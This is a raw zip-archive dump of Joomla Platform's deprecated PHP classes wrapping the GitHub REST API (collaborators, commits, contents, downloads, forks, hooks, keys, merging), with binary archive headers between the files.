* @deprecated use pulls->comments->edit()
*
* @return object
*
* @since 1.7.3
*/
public function editComment($user, $repo, $commentId, $body)
{
return $this->comments->edit($user, $repo, $commentId, $body);
}
/**
* Method to get a specific comment on a pull request.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $commentId The comment id to get.
*
* @deprecated use pulls->comments->get()
*
* @return object
*
* @since 1.7.3
*/
public function getComment($user, $repo, $commentId)
{
return $this->comments->get($user, $repo, $commentId);
}
/**
* Method to get the list of comments on a pull request.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $pullId The pull request number.
* @param integer $page The page number from which to get items.
* @param integer $limit The number of items on a page.
*
* @deprecated use pulls->comments->getList()
*
* @return array
*
* @since 1.7.3
*/
public function getComments($user, $repo, $pullId, $page = 0, $limit = 0)
{
return $this->comments->getList($user, $repo, $pullId, $page,
$limit);
}
}
PKLn�[�߸;;-github/package/repositories/collaborators.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Repositories Collaborators class for the Joomla Platform.
*
* @documentation https://developer.github.com/v3/repos/collaborators
*
* @since 1.7.3
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageRepositoriesCollaborators extends JGithubPackage
{
/**
* List.
*
* When authenticating as an organization owner of an organization-owned
repository, all organization
* owners are included in the list of collaborators. Otherwise, only users
with access to the repository
* are returned in the collaborators list.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function getList($owner, $repo)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/collaborators';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Test if a user is a collaborator.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $user The name of the GitHub user.
*
* @throws UnexpectedValueException
* @since 3.3 (CMS)
*
* @return boolean
*/
public function get($owner, $repo, $user)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/collaborators/' . $user;
$response = $this->client->get($this->fetchUrl($path));
switch ($response->code)
{
case '204';
return true;
break;
case '404';
return false;
break;
default;
throw new UnexpectedValueException('Unexpected code: ' .
$response->code);
break;
}
}
/**
* Add collaborator.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $user The name of the GitHub user.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function add($owner, $repo, $user)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/collaborators/' . $user;
return $this->processResponse(
$this->client->put($this->fetchUrl($path), ''),
204
);
}
/**
* Remove collaborator.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $user The name of the GitHub user.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function remove($owner, $repo, $user)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/collaborators/' . $user;
return $this->processResponse(
$this->client->delete($this->fetchUrl($path)),
204
);
}
}
PKLn�[��JJ(github/package/repositories/comments.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Repositories Comments class for the Joomla Platform.
*
* @documentation https://developer.github.com/v3/repos/comments
*
* @since 1.7.3
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageRepositoriesComments extends JGithubPackage
{
/**
* Method to get a list of commit comments for a repository.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $page Page to request
* @param integer $limit Number of results to return per page
*
* @return array
*
* @since 3.0.0
*/
public function getListRepository($user, $repo, $page = 0, $limit = 0)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/comments';
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path, $page, $limit))
);
}
/**
* Method to get a list of comments for a single commit for a repository.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $sha The SHA of the commit to retrieve.
* @param integer $page Page to request
* @param integer $limit Number of results to return per page
*
* @return array
*
* @since 3.0.0
*/
public function getList($user, $repo, $sha, $page = 0, $limit = 0)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/commits/' . $sha . '/comments';
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path, $page, $limit))
);
}
/**
* Method to get a single comment on a commit.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $id ID of the comment to retrieve
*
* @return array
*
* @since 3.0.0
*/
public function get($user, $repo, $id)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/comments/' . (int) $id;
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Method to edit a comment on a commit.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $id The ID of the comment to edit.
* @param string $comment The text of the comment.
*
* @return object
*
* @since 3.0.0
*/
public function edit($user, $repo, $id, $comment)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/comments/' . $id;
$data = json_encode(
array(
'body' => $comment,
)
);
// Send the request.
return $this->processResponse(
$this->client->patch($this->fetchUrl($path), $data)
);
}
/**
* Method to delete a comment on a commit.
*
* @param string $user The name of the owner of the GitHub repository.
* @param string $repo The name of the GitHub repository.
* @param string $id The ID of the comment to edit.
*
* @return object
*
* @since 3.0.0
*/
public function delete($user, $repo, $id)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/comments/' . $id;
// Send the request.
return $this->processResponse(
$this->client->delete($this->fetchUrl($path)),
204
);
}
/**
* Method to create a comment on a commit.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $sha The SHA of the commit to comment on.
* @param string $comment The text of the comment.
* @param integer $line The line number of the commit to comment
on.
* @param string $filepath A relative path to the file to comment on
within the commit.
* @param integer $position Line index in the diff to comment on.
*
* @return object
*
* @since 3.0.0
*/
public function create($user, $repo, $sha, $comment, $line, $filepath,
$position)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/commits/' . $sha . '/comments';
$data = json_encode(
array(
'body' => $comment,
'path' => $filepath,
'position' => (int) $position,
'line' => (int) $line,
)
);
// Send the request.
return $this->processResponse(
$this->client->post($this->fetchUrl($path), $data),
201
);
}
}
PKLn�[�3"<<'github/package/repositories/commits.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Repositories Commits class for the Joomla Platform.
*
* @documentation https://developer.github.com/v3/repos/commits
*
* @since 1.7.3
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageRepositoriesCommits extends JGithubPackage
{
/**
* Method to list commits for a repository.
*
* A special note on pagination: Due to the way Git works, commits are
paginated based on SHA
* instead of page number.
* Please follow the link headers as outlined in the pagination overview
instead of constructing
* page links yourself.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $sha Sha or branch to start listing commits from.
* @param string $path Only commits containing this file path will
be returned.
* @param string $author GitHub login, name, or email by which to
filter by commit author.
* @param JDate $since ISO 8601 Date - Only commits after this date
will be returned.
* @param JDate $until ISO 8601 Date - Only commits before this date
will be returned.
*
* @throws DomainException
* @since 3.0.0
*
* @return array
*/
public function getList($user, $repo, $sha = '', $path =
'', $author = '', JDate $since = null, JDate $until =
null)
{
// Build the request path.
$rPath = '/repos/' . $user . '/' . $repo .
'/commits?';
$rPath .= ($sha) ? '&sha=' . $sha : '';
$rPath .= ($path) ? '&path=' . $path : '';
$rPath .= ($author) ? '&author=' . $author : '';
$rPath .= ($since) ? '&since=' . $since->toISO8601() :
'';
$rPath .= ($until) ? '&until=' . $until->toISO8601() :
'';
// Send the request.
$response = $this->client->get($this->fetchUrl($rPath));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to get a single commit for a repository.
*
* @param string $user The name of the owner of the GitHub repository.
* @param string $repo The name of the GitHub repository.
* @param string $sha The SHA of the commit to retrieve.
*
* @throws DomainException
* @since 3.0.0
*
* @return array
*/
public function get($user, $repo, $sha)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/commits/' . $sha;
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to get a diff for two commits.
*
* @param string $user The name of the owner of the GitHub repository.
* @param string $repo The name of the GitHub repository.
* @param string $base The base of the diff, either a commit SHA or
branch.
* @param string $head The head of the diff, either a commit SHA or
branch.
*
* @return array
*
* @since 3.0.0
*/
public function compare($user, $repo, $base, $head)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/compare/' . $base . '...' . $head;
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
}
PKLn�[�����(github/package/repositories/contents.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Repositories Contents class for the Joomla Platform.
*
* These API methods let you retrieve the contents of files within a
repository as Base64 encoded content.
* See media types for requesting raw or other formats.
*
* @documentation https://developer.github.com/v3/repos/contents
*
* @since 1.7.3
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageRepositoriesContents extends JGithubPackage
{
/**
* Get the README
*
* This method returns the preferred README for a repository.
*
* GET /repos/:owner/:repo/readme
*
* Parameters
*
* ref
* Optional string - The String name of the Commit/Branch/Tag. Defaults to
master.
*
* Response
*
* Status: 200 OK
* X-RateLimit-Limit: 5000
* X-RateLimit-Remaining: 4999
*
* {
* "type": "file",
* "encoding": "base64",
* "_links": {
* "git":
"https://api.github.com/repos/octokit/octokit.rb/git/blobs/3d21ec53a331a6f037a91c368710b99387d012c1",
* "self":
"https://api.github.com/repos/octokit/octokit.rb/contents/README.md",
* "html":
"https://github.com/octokit/octokit.rb/blob/master/README.md"
* },
* "size": 5362,
* "name": "README.md",
* "path": "README.md",
* "content": "encoded content ...",
* "sha": "3d21ec53a331a6f037a91c368710b99387d012c1"
* }
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $ref The String name of the Commit/Branch/Tag.
Defaults to master.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function getReadme($owner, $repo, $ref = '')
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/readme';
if ($ref)
{
$path .= '?ref=' . $ref;
}
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Get contents
*
* This method returns the contents of any file or directory in a
repository.
*
* GET /repos/:owner/:repo/contents/:path
*
* Parameters
*
* path
* Optional string - The content path.
* ref
* Optional string - The String name of the Commit/Branch/Tag. Defaults to
master.
*
* Response
*
* Status: 200 OK
* X-RateLimit-Limit: 5000
* X-RateLimit-Remaining: 4999
*
* {
* "type": "file",
* "encoding": "base64",
* "_links": {
* "git":
"https://api.github.com/repos/octokit/octokit.rb/git/blobs/3d21ec53a331a6f037a91c368710b99387d012c1",
* "self":
"https://api.github.com/repos/octokit/octokit.rb/contents/README.md",
* "html":
"https://github.com/octokit/octokit.rb/blob/master/README.md"
* },
* "size": 5362,
* "name": "README.md",
* "path": "README.md",
* "content": "encoded content ...",
* "sha": "3d21ec53a331a6f037a91c368710b99387d012c1"
* }
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $path The content path.
* @param string $ref The String name of the Commit/Branch/Tag.
Defaults to master.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function get($owner, $repo, $path, $ref = '')
{
// Build the request path.
$rPath = '/repos/' . $owner . '/' . $repo .
'/contents/' . $path;
if ($ref)
{
$rPath .= '?ref=' . $ref;
}
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($rPath))
);
}
/**
* Get archive link
*
* This method will return a 302 to a URL to download a tarball or zipball
archive for a repository.
* Please make sure your HTTP framework is configured to follow redirects
or you will need to use the Location header to make a second GET request.
*
* Note: For private repositories, these links are temporary and expire
quickly.
*
* GET /repos/:owner/:repo/:archive_format/:ref
*
* Parameters
*
* archive_format
* Either tarball or zipball
* ref
* Optional string - valid Git reference, defaults to master
*
* Response
*
* Status: 302 Found
* Location:
http://github.com/me/myprivate/tarball/master?SSO=thistokenexpires
* X-RateLimit-Limit: 5000
* X-RateLimit-Remaining: 4999
*
* To follow redirects with curl, use the -L switch:
*
* curl -L https://api.github.com/repos/octokit/octokit.rb/tarball >
octokit.tar.gz
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $archiveFormat Either tarball or zipball.
* @param string $ref The String name of the
Commit/Branch/Tag. Defaults to master.
*
* @throws UnexpectedValueException
* @since 3.3 (CMS)
*
* @return object
*/
public function getArchiveLink($owner, $repo, $archiveFormat =
'zipball', $ref = '')
{
if (false == in_array($archiveFormat, array('tarball',
'zipball')))
{
throw new UnexpectedValueException('Archive format must be either
"tarball" or "zipball".');
}
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/' . $archiveFormat;
if ($ref)
{
$path .= '?ref=' . $ref;
}
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path)),
302
);
}
}
PKLn�[��ZЄ�)github/package/repositories/downloads.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Repositories Downloads class for the Joomla Platform.
*
* The downloads API is for package downloads only.
* If you want to get source tarballs you should use
* https://developer.github.com/v3/repos/contents/#get-archive-link
instead.
*
* @documentation https://developer.github.com/v3/repos/downloads
*
* @since 1.7.3
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageRepositoriesDownloads extends JGithubPackage
{
/**
* List downloads for a repository.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function getList($owner, $repo)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/downloads';
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Get a single download.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $id The id of the download.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function get($owner, $repo, $id)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/downloads/' . $id;
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Create a new download (Part 1: Create the resource).
*
* Creating a new download is a two step process. You must first create a
new download resource.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $name The name.
* @param string $size Size of file in bytes.
* @param string $description The description.
* @param string $contentType The content type.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function create($owner, $repo, $name, $size, $description =
'', $contentType = '')
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/downloads';
$data = array(
'name' => $name,
'size' => $size,
);
if ($description)
{
$data['description'] = $description;
}
if ($contentType)
{
$data['content_type'] = $contentType;
}
// Send the request.
return $this->processResponse(
$this->client->post($this->fetchUrl($path), $data),
201
);
}
/**
* Create a new download (Part 2: Upload file to s3).
*
* Now that you have created the download resource, you can use the
information
* in the response to upload your file to s3. This can be done with a POST
to
* the s3_url you got in the create response. Here is a brief example
using curl:
*
* curl \
* -F "key=downloads/octocat/Hello-World/new_file.jpg" \
* -F "acl=public-read" \
* -F "success_action_status=201" \
* -F "Filename=new_file.jpg" \
* -F "AWSAccessKeyId=1ABCDEF..." \
* -F "Policy=ewogIC..." \
* -F "Signature=mwnF..." \
* -F "Content-Type=image/jpeg" \
* -F "file=@new_file.jpg" \
* https://github.s3.amazonaws.com/
*
* NOTES
* The order in which you pass these fields matters! Follow the order
shown above exactly.
* All parameters shown are required and if you excluded or modify them
your upload will
* fail because the values are hashed and signed by the policy.
*
* More information about using the REST API to interact with s3 can be
found here:
* http://docs.amazonwebservices.com/AmazonS3/latest/API/
*
* @param string $key Value of path field in the
response.
* @param string $acl Value of acl field in the
response.
* @param string $successActionStatus 201, or whatever you want to get
back.
* @param string $filename Value of name field in the
response.
* @param string $awsAccessKeyId Value of accesskeyid field in
the response.
* @param string $policy Value of policy field in the
response.
* @param string $signature Value of signature field in the
response.
* @param string $contentType Value of mime_type field in the
response.
* @param string $file Local file. Example assumes the
file existing in the directory
* where you are running the curl
command. Yes, the @ matters.
*
* @since 3.3 (CMS)
*
* @return boolean
*/
public function upload($key, $acl, $successActionStatus, $filename,
$awsAccessKeyId, $policy, $signature, $contentType, $file)
{
// Build the request path.
$url = 'https://github.s3.amazonaws.com/';
$data = array(
'key' => $key,
'acl' => $acl,
'success_action_status' => (int) $successActionStatus,
'Filename' => $filename,
'AWSAccessKeyId' => $awsAccessKeyId,
'Policy' => $policy,
'Signature' => $signature,
'Content-Type' => $contentType,
'file' => $file,
);
// Send the request.
$response = $this->client->post($url, $data);
// @todo Process the response..
return (201 == $response->code) ? true : false;
}
/**
* Delete a download.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $id The id of the download.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function delete($owner, $repo, $id)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/downloads/' . (int) $id;
// Send the request.
return $this->processResponse(
$this->client->delete($this->fetchUrl($path)),
204
);
}
}
PKLn�[F���� � %github/package/repositories/forks.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Forks class for the Joomla Platform.
*
* @documentation https://developer.github.com/v3/repos/forks
*
* @since 1.7.3
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageRepositoriesForks extends JGithubPackage
{
/**
* Method to fork a repository.
*
* @param string $user The name of the owner of the GitHub repository.
* @param string $repo The name of the GitHub repository.
* @param string $org The organization to fork the repo into. By
default it is forked to the current user.
*
* @return object
*
* @since 2.5.0
* @throws DomainException
*/
public function create($user, $repo, $org = '')
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/forks';
if (strlen($org) > 0)
{
$data = json_encode(
array('org' => $org)
);
}
else
{
$data = json_encode(array());
}
// Send the request.
$response = $this->client->post($this->fetchUrl($path), $data);
// Validate the response code.
if ($response->code != 202)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to list forks for a repository.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $page Page to request
* @param integer $limit Number of results to return per page
*
* @return array
*
* @since 2.5.0
* @throws DomainException
*/
public function getList($user, $repo, $page = 0, $limit = 0)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/forks';
// Send the request.
$response = $this->client->get($this->fetchUrl($path, $page,
$limit));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
}
PKLn�[�_]��%github/package/repositories/hooks.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Hooks class for the Joomla Platform.
*
* @documentation https://developer.github.com/v3/repos/hooks
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageRepositoriesHooks extends JGithubPackage
{
/**
* Array containing the allowed hook events
*
* @var array
* @since 3.1.4
*/
protected $events = array(
'push',
'issues',
'issue_comment',
'commit_comment',
'pull_request',
'gollum',
'watch',
'download',
'fork',
'fork_apply',
'member',
'public',
'status',
);
/**
* Method to create a hook on a repository.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $name The name of the service being called.
* @param array $config Array containing the config for the service.
* @param array $events The events the hook will be triggered for.
* @param boolean $active Flag to determine if the hook is active
*
* @return object
*
* @since 3.1.4
* @throws DomainException
* @throws RuntimeException
*/
public function create($user, $repo, $name, $config, array $events =
array('push'), $active = true)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/hooks';
// Check to ensure all events are in the allowed list
foreach ($events as $event)
{
if (!in_array($event, $this->events))
{
throw new RuntimeException('Your events array contains an
unauthorized event.');
}
}
$data = json_encode(
array('name' => $name, 'config' => $config,
'events' => $events, 'active' => $active)
);
return $this->processResponse(
$this->client->post($this->fetchUrl($path), $data),
201
);
}
/**
* Method to delete a hook
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $id ID of the hook to delete.
*
* @return object
*
* @since 3.1.4
* @throws DomainException
*/
public function delete($user, $repo, $id)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/hooks/' . $id;
return $this->processResponse(
$this->client->delete($this->fetchUrl($path)),
204
);
}
/**
* Method to edit a hook.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $id ID of the hook to edit.
* @param string $name The name of the service being called.
* @param array $config Array containing the config for the
service.
* @param array $events The events the hook will be triggered
for. This resets the currently set list
* @param array $addEvents Events to add to the hook.
* @param array $removeEvents Events to remove from the hook.
* @param boolean $active Flag to determine if the hook is
active
*
* @return object
*
* @since 3.1.4
* @throws DomainException
* @throws RuntimeException
*/
public function edit($user, $repo, $id, $name, $config, array $events =
array('push'), array $addEvents = array(),
array $removeEvents = array(), $active = true)
{
// Check to ensure all events are in the allowed list
foreach ($events as $event)
{
if (!in_array($event, $this->events))
{
throw new RuntimeException('Your events array contains an
unauthorized event.');
}
}
foreach ($addEvents as $event)
{
if (!in_array($event, $this->events))
{
throw new RuntimeException('Your active_events array contains an
unauthorized event.');
}
}
foreach ($removeEvents as $event)
{
if (!in_array($event, $this->events))
{
throw new RuntimeException('Your remove_events array contains an
unauthorized event.');
}
}
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/hooks/' . $id;
$data = json_encode(
array(
'name' => $name,
'config' => $config,
'events' => $events,
'add_events' => $addEvents,
'remove_events' => $removeEvents,
'active' => $active,
)
);
return $this->processResponse(
$this->client->patch($this->fetchUrl($path), $data)
);
}
/**
* Method to get details about a single hook for the repository.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $id ID of the hook to retrieve
*
* @return object
*
* @since 3.1.4
* @throws DomainException
*/
public function get($user, $repo, $id)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/hooks/' . $id;
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Method to list hooks for a repository.
*
* @param string $user The name of the owner of the GitHub repository.
* @param string $repo The name of the GitHub repository.
*
* @return object
*
* @since 3.1.4
* @throws DomainException
*/
public function getList($user, $repo)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/hooks';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Method to test a hook against the latest repository commit
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $id ID of the hook to delete
*
* @return object
*
* @since 3.1.4
* @throws DomainException
*/
public function test($user, $repo, $id)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/hooks/' . $id . '/test';
return $this->processResponse(
$this->client->post($this->fetchUrl($path),
json_encode('')),
204
);
}
}
PKLn�[9�����$github/package/repositories/keys.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Forks class for the Joomla Platform.
*
* @documentation https://developer.github.com/v3/repos/keys
*
* @since 1.7.3
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageRepositoriesKeys extends JGithubPackage
{
/**
* List keys in a repository.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
*
* @since 3.3.0
*
* @return object
*/
public function getList($owner, $repo)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/keys';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Get a key.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $id The id of the key.
*
* @since 3.3.0
*
* @return object
*/
public function get($owner, $repo, $id)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/keys/' . (int) $id;
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Create a key.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $title The key title.
* @param string $key The key.
*
* @since 3.3.0
*
* @return object
*/
public function create($owner, $repo, $title, $key)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/keys';
$data = array(
'title' => $title,
'key' => $key,
);
return $this->processResponse(
$this->client->post($this->fetchUrl($path),
json_encode($data)),
201
);
}
/**
* Edit a key.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $id The id of the key.
* @param string $title The key title.
* @param string $key The key.
*
* @since 3.3.0
*
* @return object
*/
public function edit($owner, $repo, $id, $title, $key)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/keys/' . (int) $id;
$data = array(
'title' => $title,
'key' => $key,
);
return $this->processResponse(
$this->client->patch($this->fetchUrl($path),
json_encode($data))
);
}
/**
* Delete a key.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $id The id of the key.
*
* @since 3.3.0
*
* @return boolean
*/
public function delete($owner, $repo, $id)
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/keys/' . (int) $id;
$this->processResponse(
$this->client->delete($this->fetchUrl($path)),
204
);
return true;
}
}
PKLn�[$E0�� � 'github/package/repositories/merging.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Repositories Merging class for the Joomla Platform.
*
* @documentation https://developer.github.com/v3/repos/merging
*
* @since 1.7.3
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageRepositoriesMerging extends JGithubPackage
{
/**
* Perform a merge.
*
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $base The name of the base branch that the
head will be merged into.
* @param string $head The head to merge. This can be a
branch name or a commit SHA1.
* @param string $commitMessage Commit message to use for the merge
commit.
* If omitted, a default message will be
used.
*
* @throws UnexpectedValueException
* @since 3.3.0
*
* @return boolean
*/
public function perform($owner, $repo, $base, $head, $commitMessage =
'')
{
// Build the request path.
$path = '/repos/' . $owner . '/' . $repo .
'/merges';
$data = new stdClass;
$data->base = $base;
$data->head = $head;
if ($commitMessage)
{
$data->commit_message = $commitMessage;
}
// Send the request.
$response = $this->client->post($this->fetchUrl($path),
json_encode($data));
switch ($response->code)
{
case '201':
// Success
return json_decode($response->body);
break;
case '204':
// No-op response (base already contains the head, nothing to merge)
throw new UnexpectedValueException('Nothing to merge');
break;
case '404':
// Missing base or Missing head response
$error = json_decode($response->body);
$message = (isset($error->message)) ? $error->message :
'Missing base or head: ' . $response->code;
throw new UnexpectedValueException($message);
break;
case '409':
// Merge conflict response
$error = json_decode($response->body);
$message = (isset($error->message)) ? $error->message :
'Merge conflict ' . $response->code;
throw new UnexpectedValueException($message);
break;
default :
throw new UnexpectedValueException('Unexpected response code:
' . $response->code);
break;
}
}
}
PKLn�[n�VV*github/package/repositories/statistics.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
